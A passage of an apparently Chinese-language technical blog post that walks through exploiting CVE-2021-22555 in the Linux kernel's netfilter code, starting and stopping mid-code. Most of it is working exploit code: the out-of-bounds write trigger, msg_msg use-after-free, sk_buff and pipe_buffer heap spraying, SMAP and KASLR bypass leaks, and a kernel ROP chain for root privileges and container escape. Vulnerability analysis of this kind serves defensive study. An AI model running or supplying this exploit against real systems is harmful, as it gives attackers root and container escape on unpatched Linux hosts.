(read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <</span><br><span class="line"> 0)</span><br><span class="line"> goto err_rmid;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="3-1-5-触发缓冲区溢出漏洞"><a href="#3-1-5-触发缓冲区溢出漏洞" class="headerlink" title="3.1.5 触发缓冲区溢出漏洞"></a>3.1.5 触发缓冲区溢出漏洞</h4><p>重新申请上一步释放的缓冲区,同时触发缓冲区溢出漏洞,将缓冲区外2个字节覆盖为0。前面提到,上一步释放的缓冲区后面极大概率紧跟着一个主要消息,这是因为前面发送了大量主要消息,将内核内存分配器能分配的内存空洞都填满了之后,所获得的缓冲区极大概率是相邻的。所以,申请的消息队列数目越多,发送越多的主要消息,内存空洞被填满的概率越大,EXP也就越稳定。在这种理想情况下,这一步会将缓冲区后面的主要消息的next指针的最低位2个字节覆盖为0,导致其指向另外一个次要消息。这样,就会有2个主要消息的next指针指向同一个次要消息。</p><p><img src="/2021/12/27/CVE-2021-22555/4.png" alt></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">printf("[*] Triggering out-of-bounds write...\n");</span><br><span class="line">if (trigger_oob_write(s) < 0)</span><br><span class="line"> goto err_rmid;</span><br><span class="line"></span><br><span class="line">int trigger_oob_write(int s) {</span><br><span class="line"> struct __attribute__((__packed__)) {</span><br><span class="line"> struct ipt_replace replace;</span><br><span class="line"> struct ipt_entry entry;</span><br><span class="line"> struct xt_entry_match match;</span><br><span class="line"> char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];</span><br><span class="line"> struct xt_entry_target target;</span><br><span class="line"> } data = {0};</span><br><span class="line"></span><br><span class="line"> data.replace.num_counters = 1;</span><br><span class="line"> data.replace.num_entries = 1;</span><br><span class="line"> data.replace.size = (sizeof(data.entry) + sizeof(data.match) +</span><br><span class="line"> sizeof(data.pad) + sizeof(data.target));</span><br><span class="line"></span><br><span class="line"> data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +</span><br><span class="line"> sizeof(data.pad) + sizeof(data.target));</span><br><span class="line"> data.entry.target_offset =</span><br><span class="line"> (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));</span><br><span class="line"></span><br><span class="line"> data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad));</span><br><span class="line"> strcpy(data.match.u.user.name, "icmp");</span><br><span class="line"> data.match.u.user.revision = 0;</span><br><span class="line"></span><br><span class="line"> data.target.u.user.target_size = sizeof(data.target);</span><br><span class="line"> strcpy(data.target.u.user.name, "NFQUEUE");</span><br><span class="line"> data.target.u.user.revision = 1;</span><br><span class="line"></span><br><span class="line"> // Partially overwrite the adjacent buffer with 2 bytes of zero.</span><br><span class="line"> if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {</span><br><span class="line"> if (errno == ENOPROTOOPT) {</span><br><span class="line"> printf("[-] Error ip_tables module is not loaded.\n");</span><br><span class="line"> return -1;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> return 0;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="3-1-6-实现UAF"><a href="#3-1-6-实现UAF" class="headerlink" title="3.1.6 实现UAF"></a>3.1.6 实现UAF</h4><p>利用带MSG_COPY参数的msgrcv函数搜索同一消息队列但内容不同的主要消息和次要消息,这样就可以在不释放消息缓冲区的前提下查看消息内容。前面提到,同一消息队列的主要消息和次要消息的内容在正常情况下应该是相同的,如果不同,说明该主要消息的next指针在上一步被改写了,导致2个消息队列包含同一个次要消息。再释放其中一个队列的次要消息,由于另一个队列还在使用该次要消息,就实现了UAF。</p><p><img src="/2021/12/27/CVE-2021-22555/5.png" alt></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">printf("[*] Searching for corrupted primary message...\n");</span><br><span class="line">for (int i = 0; i < NUM_MSQIDS; i++) {</span><br><span class="line"> if (i != 0 && (i % HOLE_STEP) == 0)</span><br><span class="line"> continue;</span><br><span class="line"> if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)</span><br><span class="line"> goto err_no_rmid;</span><br><span class="line"> if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {</span><br><span class="line"> printf("[-] Error could not corrupt any primary message.\n");</span><br><span class="line"> goto err_no_rmid;</span><br><span class="line"> }</span><br><span class="line"> if (*(int *)&msg_secondary.mtext[4] != i) {</span><br><span class="line"> fake_idx = i;</span><br><span class="line"> real_idx = *(int *)&msg_secondary.mtext[4];</span><br><span class="line"> break;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">if (fake_idx == -1 && real_idx == -1) {</span><br><span class="line"> printf("[-] Error could not corrupt any primary message.\n");</span><br><span class="line"> goto err_no_rmid;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// fake_idx's primary message has a corrupted next pointer; wrongly</span><br><span class="line">// pointing to real_idx's secondary message.</span><br><span class="line">printf("[+] fake_idx: %x\n", fake_idx);</span><br><span class="line">printf("[+] real_idx: %x\n", real_idx);</span><br><span class="line"></span><br><span class="line">printf("[*] Freeing real secondary message...\n");</span><br><span class="line">if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary),</span><br><span class="line"> MTYPE_SECONDARY) < 0)</span><br><span class="line"> goto err_rmid;</span><br></pre></td></tr></table></figure><h3 id="3-2-绕过SMAP"><a href="#3-2-绕过SMAP" class="headerlink" title="3.2 绕过SMAP"></a>3.2 绕过SMAP</h3><p>如果内核开启了SMAP,用户空间的数据将不能被内核访问,就需要通过信息泄露获取内核空间的地址来利用内核空间的数据。</p><h4 id="3-2-1-构造伪次要消息"><a href="#3-2-1-构造伪次要消息" class="headerlink" title="3.2.1 构造伪次要消息"></a>3.2.1 构造伪次要消息</h4><p>上一步释放了一个次要消息所占据的缓冲区,为了方便说明,后面称之为关键缓冲区。关键缓冲区虽然被释放了,但还是有一个消息队列在使用关键缓冲区。</p><p>通过write函数向UNIX socket写入数据的方式构造许多个伪次要消息,之所以要构造多个,是为了切实地将虚假数据写入已经被释放的关键缓冲区中。这也是实现堆喷的重要手段,由于没有多余的数据结构占据通过该手段写入的缓冲区,因而可以完全控制内核缓冲区的内容。</p><p>这里构造的伪次要消息的m_ts字段(表示消息内容长度的字段)为不需要分片的最大消息内容长度,要远远大于1024字节的真实次要消息内容长度,相当于将相邻的次要消息也纳入伪次要消息的范围。</p><p><img src="/2021/12/27/CVE-2021-22555/6.png" alt></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">// Reclaim the previously freed secondary message with a fake msg_msg of</span><br><span class="line">// maximum possible size.</span><br><span class="line">printf("[*] Spraying fake secondary messages...\n");</span><br><span class="line">memset(secondary_buf, 0, sizeof(secondary_buf));</span><br><span class="line">build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,</span><br><span class="line"> PAGE_SIZE - MSG_MSG_SIZE, 0);</span><br><span class="line">if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)</span><br><span class="line"> goto err_rmid;</span><br><span class="line"> </span><br><span class="line">void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,</span><br><span class="line"> uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {</span><br><span class="line"> msg->m_list_next = m_list_next;</span><br><span class="line"> msg->m_list_prev = m_list_prev;</span><br><span class="line"> msg->m_type = MTYPE_FAKE;</span><br><span class="line"> msg->m_ts = m_ts;</span><br><span class="line"> msg->next = next;</span><br><span class="line"> msg->security = 0;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {</span><br><span class="line"> for (int i = 0; i < NUM_SOCKETS; i++) {</span><br><span class="line"> for (int j = 0; j < NUM_SKBUFFS; j++) {</span><br><span class="line"> if (write(ss[i][0], buf, size) < 0) {</span><br><span class="line"> perror("[-] write");</span><br><span class="line"> return -1;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> return 0;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="3-2-2-越界读取相邻次要消息"><a href="#3-2-2-越界读取相邻次要消息" class="headerlink" title="3.2.2 越界读取相邻次要消息"></a>3.2.2 越界读取相邻次要消息</h4><p>由于构造的伪次要消息的m_ts字段要远大于真实次要消息内容长度,通过读取该消息可以越界读取相邻次要消息的头部内容,包括next指针,这样就获得了该next指针所指向的主要消息的地址(消息队列是双向链表)。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">// Use the fake secondary message to read out-of-bounds.</span><br><span class="line">printf("[*] Leaking adjacent secondary message...\n");</span><br><span class="line">if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)</span><br><span class="line"> goto err_rmid;</span><br><span class="line"></span><br><span class="line">// Check if the leak is valid.</span><br><span class="line">if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {</span><br><span class="line"> printf("[-] Error could not leak adjacent secondary message.\n");</span><br><span class="line"> goto err_rmid;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// The secondary message contains a pointer to the primary message.</span><br><span class="line">msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];</span><br><span class="line">kheap_addr = msg->m_list_next;</span><br><span class="line">if (kheap_addr & (PRIMARY_SIZE - 1))</span><br><span class="line"> kheap_addr = msg->m_list_prev;</span><br><span class="line">printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);</span><br></pre></td></tr></table></figure><h4 id="3-2-3-再次构造伪次要消息"><a href="#3-2-3-再次构造伪次要消息" class="headerlink" title="3.2.3 再次构造伪次要消息"></a>3.2.3 再次构造伪次要消息</h4><p>获得了相邻次要消息所指向的主要消息的地址后,通过read函数读取socket内容的方式释放伪次要消息,让关键缓冲区再次进入被释放状态。然后,以相同的方式重新构造伪次要消息,这次构造的m_ts字段要大于消息分片的阈值,next字段等于相邻次要消息所指向的主要消息的地址-结构msg_msgseg的长度,这样做相当于将该主要消息伪造成下一个消息片段,那么在读取伪次要消息时,就可以读取该主要消息的next指针,该指针指向相邻次要消息,将指针内容减去1024即可获得伪次要消息即关键缓冲区的地址。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">// Put kheap_addr at next to leak its content. Assumes zero bytes before</span><br><span class="line">// kheap_addr.</span><br><span class="line">printf("[*] Spraying fake secondary messages...\n");</span><br><span class="line">memset(secondary_buf, 0, sizeof(secondary_buf));</span><br><span class="line">build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,</span><br><span class="line"> sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE);</span><br><span class="line">if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)</span><br><span class="line"> goto err_rmid;</span><br><span class="line"></span><br><span class="line">// Use the fake secondary message to read from kheap_addr.</span><br><span class="line">printf("[*] Leaking primary message...\n");</span><br><span class="line">if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)</span><br><span class="line"> goto err_rmid;</span><br><span class="line"></span><br><span class="line">// Check if the leak is valid.</span><br><span class="line">if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {</span><br><span class="line"> printf("[-] Error could not leak primary message.\n");</span><br><span class="line"> goto err_rmid;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// The primary message contains a pointer to the secondary message.</span><br><span class="line">msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];</span><br><span class="line">kheap_addr = msg->m_list_next;</span><br><span class="line">if (kheap_addr & (SECONDARY_SIZE - 1))</span><br><span class="line"> kheap_addr = msg->m_list_prev;</span><br><span class="line"></span><br><span class="line">// Calculate the address of the fake secondary message.</span><br><span class="line">kheap_addr -= SECONDARY_SIZE;</span><br><span class="line">printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);</span><br></pre></td></tr></table></figure><h3 id="3-3-绕过KASLR-SMEP"><a href="#3-3-绕过KASLR-SMEP" class="headerlink" title="3.3 绕过KASLR/SMEP"></a>3.3 绕过KASLR/SMEP</h3><p>接下来将通过泄露内核.data段的地址来绕过KASLR,并通过利用内核gadget构造ROP链来绕过SMEP。</p><h4 id="3-3-1-释放伪次要消息"><a href="#3-3-1-释放伪次要消息" class="headerlink" title="3.3.1 释放伪次要消息"></a>3.3.1 释放伪次要消息</h4><p>前面构造的伪次要消息的内容是通过socket写入的,那么内核肯定有一个跟socket相关的结构体是指向伪次要消息缓冲区的,事实上该结构体为sk_buff。</p><p><img src="/2021/12/27/CVE-2021-22555/7.png" alt></p><p>由于结构体msg_msg占据了消息缓冲区前面部分,msgrcv不能完全读取缓冲区的内容,而通过socket则相反。因此,需要通过msgrcv将关键缓冲区释放,后面通过socket读取关键缓冲区的内容。</p><p>由于之前构造的伪次要消息的next和prev指针不是有效的地址,现阶段不能直接通过msgrcv释放该伪次要消息,因为内核会检查消息队列链表的完整性。</p><p>为了能通过msgrcv释放伪次要消息,需要依次执行以下步骤:</p><ol><li>通过读取socket释放关键缓冲区。</li><li>通过写入socket再次申请关键缓冲区,写入内容为重新构造的伪次要消息,其next和prev指针为自身地址,这样就能绕过链表完整性检查。</li><li>通过msgrcv释放伪次要消息。</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">printf("[*] Freeing fake secondary messages...\n");</span><br><span class="line">free_skbuff(ss, secondary_buf, sizeof(secondary_buf));</span><br><span class="line"></span><br><span class="line">// Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible.</span><br><span class="line">printf("[*] Spraying fake secondary messages...\n");</span><br><span class="line">memset(secondary_buf, 0, sizeof(secondary_buf));</span><br><span class="line">build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0);</span><br><span class="line">if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)</span><br><span class="line"> goto err_rmid;</span><br><span class="line"></span><br><span class="line">printf("[*] Freeing sk_buff data buffer...\n");</span><br><span class="line">if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0)</span><br><span class="line"> goto err_rmid;</span><br></pre></td></tr></table></figure><h4 id="3-3-2-泄露内核地址"><a href="#3-3-2-泄露内核地址" class="headerlink" title="3.3.2 泄露内核地址"></a>3.3.2 泄露内核地址</h4><p>上一步执行完后,还有sk_buff指向关键缓冲区,那么,如果在关键缓冲区填入包含指向内核.data段指针的数据结构,再通过读取socket来获得缓冲区的完整内容,就可以获得内核.data段的地址,进而计算出.text段的地址,让利用内核gadget成为可能。</p><p><img src="/2021/12/27/CVE-2021-22555/8.png" alt></p><p>结构体pipe_buffer是个很好的目标,其定义如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/pipe_fs_i.h</span><br><span class="line">struct pipe_buffer {</span><br><span class="line">struct page *page;</span><br><span class="line">unsigned int offset, len;</span><br><span class="line">const struct pipe_buf_operations *ops;</span><br><span class="line">unsigned int flags;</span><br><span class="line">unsigned long private;</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line">struct pipe_buf_operations {</span><br><span class="line">...</span><br><span class="line">/*</span><br><span class="line"> * When the contents of this pipe buffer has been completely</span><br><span class="line"> * consumed by a reader, ->release() is called.</span><br><span class="line"> */</span><br><span class="line">void (*release)(struct pipe_inode_info *, struct pipe_buffer *);</span><br><span class="line">...</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>pipe_buffer的成员ops指向一个位于内核.data段的数据结构anon_pipe_buf_ops,它将是接下来的泄露目标。</p><p>而且,ops指向的数据结构包含很多跟管道操作相关的函数指针,其中一个是release,它所指向的函数将在释放管道时被调用。那么,通过篡改ops指向伪造的pipe_buf_operations结构,在释放管道时就可以劫持控制流。</p><p>为泄露内核.data段的地址,将进行以下步骤:</p><ol><li>通过向多个管道写入数据让内核构造多个pipe_buffer结构体的实例,其中一个实例将占据关键缓冲区。此时内存布局如下:</li></ol><p><img src="/2021/12/27/CVE-2021-22555/9.png" alt></p><ol start="2"><li>读取socket,获得anon_pipe_buf_ops的地址,也就是获得了内核.data段地址。</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">printf("[*] Spraying pipe_buffer objects...\n");</span><br><span class="line">for (int i = 0; i < NUM_PIPEFDS; i++) {</span><br><span class="line"> if (pipe(pipefd[i]) < 0) {</span><br><span class="line"> perror("[-] pipe");</span><br><span class="line"> goto err_rmid;</span><br><span class="line"> }</span><br><span class="line"> // Write something to populate pipe_buffer.</span><br><span class="line"> if (write(pipefd[i][1], "pwn", 3) < 0) {</span><br><span class="line"> perror("[-] write");</span><br><span class="line"> goto err_rmid;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">printf("[*] Leaking and freeing pipe_buffer object...\n");</span><br><span class="line">for (int i = 0; i < NUM_SOCKETS; i++) {</span><br><span class="line"> for (int j = 0; j < NUM_SKBUFFS; j++) {</span><br><span class="line"> if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {</span><br><span class="line"> perror("[-] read");</span><br><span class="line"> goto err_rmid;</span><br><span class="line"> }</span><br><span class="line"> if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)</span><br><span class="line"> pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS;</span><br><span class="line">printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops);</span><br><span class="line">printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr);</span><br></pre></td></tr></table></figure><p>此时关键缓冲区已被释放,内存布局如下:</p><p><img src="/2021/12/27/CVE-2021-22555/10.png" alt></p><h3 id="3-4-提权和容器逃逸"><a href="#3-4-提权和容器逃逸" class="headerlink" title="3.4 提权和容器逃逸"></a>3.4 提权和容器逃逸</h3><p>先通过写入socket构造伪pipe_buffer,让ops指针指向在关键缓冲区伪造的pipe_buf_operations,其中的release指针指向跟栈迁移相关的内核.text段的gadget。</p><p><img src="/2021/12/27/CVE-2021-22555/11.png" alt></p><p>同时,在关键缓冲区构造ROP链依序执行以下任务:</p><ol><li>保存RBP。</li><li>执行commit_creds(prepare_kernel_cred(NULL)),这一步是为了获得root权限。</li><li>执行switch_task_namespaces(find_task_by_vpid(1), init_nsproxy),这一步在容器环境中才有用,否则只是冗余步骤,作用是pid为1的进程的名称空间替换为容器初始化时的全局名称空间init_nsproxy,init_nsproxy名称空间可以访问宿主机的文件系统。</li><li>恢复RBP并恢复正常执行流程。</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line">printf("[*] Spraying fake pipe_buffer objects...\n");</span><br><span class="line">memset(secondary_buf, 0, sizeof(secondary_buf));</span><br><span class="line">buf = (struct pipe_buffer *)&secondary_buf;</span><br><span class="line">buf->ops = kheap_addr + 0x290;</span><br><span class="line">ops = (struct pipe_buf_operations *)&secondary_buf[0x290];</span><br><span class="line">// RSI points to &buf.</span><br><span class="line">ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;</span><br><span class="line">build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0);</span><br><span class="line">if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)</span><br><span class="line"> goto err_rmid;</span><br><span class="line"> </span><br><span class="line">void build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) {</span><br><span class="line"> uint64_t *rop;</span><br><span class="line"></span><br><span class="line"> *(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET;</span><br><span class="line"> *(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET;</span><br><span class="line"></span><br><span class="line"> rop = (uint64_t *)&buf[0xD8];</span><br><span class="line"></span><br><span class="line"> // Save RBP at scratchpad_addr.</span><br><span class="line"> *rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET;</span><br><span class="line"> *rop++ = scratchpad_addr; // R12</span><br><span class="line"> *rop++ = 0xDEADBEEF; // RBP</span><br><span class="line"> *rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET;</span><br><span class="line"> *rop++ = 0xDEADBEEF; // RBX</span><br><span class="line"> *rop++ = 0xDEADBEEF; // R12</span><br><span class="line"> *rop++ = 0xDEADBEEF; // RBP</span><br><span class="line"></span><br><span class="line"> // commit_creds(prepare_kernel_cred(NULL))</span><br><span class="line"> *rop++ = kbase_addr + POP_RDI_RET;</span><br><span class="line"> *rop++ = 0; // RDI</span><br><span class="line"> *rop++ = kbase_addr + PREPARE_KERNEL_CRED;</span><br><span class="line"> *rop++ = kbase_addr + POP_RCX_RET;</span><br><span class="line"> *rop++ = 4; // RCX</span><br><span class="line"> *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;</span><br><span class="line"> *rop++ = 0xDEADBEEF; // RBP</span><br><span class="line"> *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;</span><br><span class="line"> *rop++ = kbase_addr + COMMIT_CREDS;</span><br><span class="line"></span><br><span class="line"> // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)</span><br><span class="line"> *rop++ = kbase_addr + POP_RDI_RET;</span><br><span class="line"> *rop++ = 1; // RDI</span><br><span class="line"> *rop++ = kbase_addr + FIND_TASK_BY_VPID;</span><br><span class="line"> *rop++ = kbase_addr + POP_RCX_RET;</span><br><span class="line"> *rop++ = 4; // RCX</span><br><span class="line"> *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;</span><br><span class="line"> *rop++ = 0xDEADBEEF; // RBP</span><br><span class="line"> *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;</span><br><span class="line"> *rop++ = kbase_addr + POP_RSI_RET;</span><br><span class="line"> *rop++ = kbase_addr + INIT_NSPROXY; // RSI</span><br><span class="line"> *rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;</span><br><span class="line"></span><br><span class="line"> // Load RBP from scratchpad_addr and resume execution.</span><br><span class="line"> *rop++ = kbase_addr + POP_RBP_RET;</span><br><span class="line"> *rop++ = scratchpad_addr - 0xA; // RBP</span><br><span class="line"> *rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET;</span><br><span class="line"> *rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>释放管道,执行release所指向的gadget,将内核栈迁移到关键缓冲区构造的ROP链处,然后执行完整个ROP链,实现提权。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">printf("[*] Releasing pipe_buffer objects...\n");</span><br><span class="line">for (int i = 0; i < NUM_PIPEFDS; i++) {</span><br><span class="line"> if (close(pipefd[i][0]) < 0) {</span><br><span class="line"> perror("[-] close");</span><br><span class="line"> goto err_rmid;</span><br><span class="line"> }</span><br><span class="line"> if (close(pipefd[i][1]) < 0) {</span><br><span class="line"> perror("[-] close");</span><br><span class="line"> goto err_rmid;</span><br><span class="line"> }</span><br><span 